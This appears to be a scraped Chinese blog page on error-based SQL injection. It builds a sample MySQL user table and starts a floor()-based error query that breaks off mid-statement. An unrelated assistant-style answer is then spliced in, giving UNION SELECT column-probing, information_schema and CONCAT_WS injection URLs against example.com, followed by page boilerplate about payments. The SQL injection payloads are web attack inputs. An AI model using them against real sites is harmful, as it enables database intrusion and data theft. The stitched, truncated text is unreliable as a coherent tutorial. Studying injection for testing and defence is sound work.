SQL注入—报错注入

文章介绍了SQL注入中的报错注入原理,特别是当Web程序没有错误回显时如何利用报错注入。提到了floor()、updatexml()和extractvalue()三种常用的报错注入方法,并通过创建数据库和SQL语句示例解释了报错的原因。最后,文章提供了一个简单的PHP登录页面的报错注入案例。

0x00 背景

  SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。

0x01 十种报错注入

  这十种方式在这里不多讲了,详情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平时我们最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。

0x02 报错注入的原理

  为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  我们先看一个基于floor()的报错SQL语句:

select count(*),(concat(floor(rand(0)*2),(s
### SQL 注入中列数不匹配的解决方案 在 SQL 注入过程中,当尝试通过 `UNION SELECT` 构造查询时,可能会遇到目标表与注入数据之间的列数不匹配问题。这种情况下,数据库会返回错误提示,表明构造的语句无法成功执行。 #### 1. **理解列数不匹配的原因** 数据库在处理 `UNION SELECT` 查询时,要求两个子查询的结果集具有相同的列数和兼容的数据类型。如果注入的列数少于或多余实际的目标表列数,则会发生列数不匹配的情况[^2]。 #### 2. **检测目标表的实际列数** 要解决列数不匹配的问题,首先需要确认目标表的确切列数。可以通过逐步减少或增加注入的列数来测试: ```sql -- 测试不同数量的列 http://example.com/page?id=1 UNION SELECT NULL; http://example.com/page?id=1 UNION SELECT NULL, NULL; http://example.com/page?id=1 UNION SELECT NULL, NULL, NULL; ``` 如果某次请求未触发错误并返回页面内容,则可以推测当前使用的列数为目标表的真实列数。 #### 3. **调整注入语句以适配列数** 找到正确的列数后,可以用占位符(如 `NULL` 或固定值)填充多余的列位置,从而满足列数一致性的需求。例如: ```sql -- 假设目标表有 5 列 http://example.com/page?id=1 UNION SELECT 'value', NULL, NULL, NULL, NULL; ``` 这样即使只关心其中一列的具体数据,其他列也可以用无关值填补,避免列数冲突。 #### 4. **利用报错注入获取更多信息** 若联合查询不可用,可考虑使用报错注入技术进一步探索目标表结构。例如,通过构造特定语法使数据库抛出可控范围内的异常信息,从中提取有用线索。常见的技巧包括但不限于以下几种方式: - 使用函数嵌套引发溢出或其他类型的错误消息; ```sql http://example.com/page?id=-1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')>0--+ ``` - 结合字符串拼接操作暴露隐藏字段名称或记录详情: ```sql http://example.com/page?id=-1' UNION ALL SELECT CONCAT_WS(':', column1, column2), NULL, ... ; ``` 上述方法均依赖具体环境支持以及对底层 DBMS 的熟悉程度[^1]。 #### 5. **验证最终结果的有效性** 完成上述步骤之后,务必重新提交修改后的 payload 并观察响应行为是否恢复正常显示预期数据而非错误界面。这一步骤有助于确保整个过程无误且达到目的。 --- ###
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值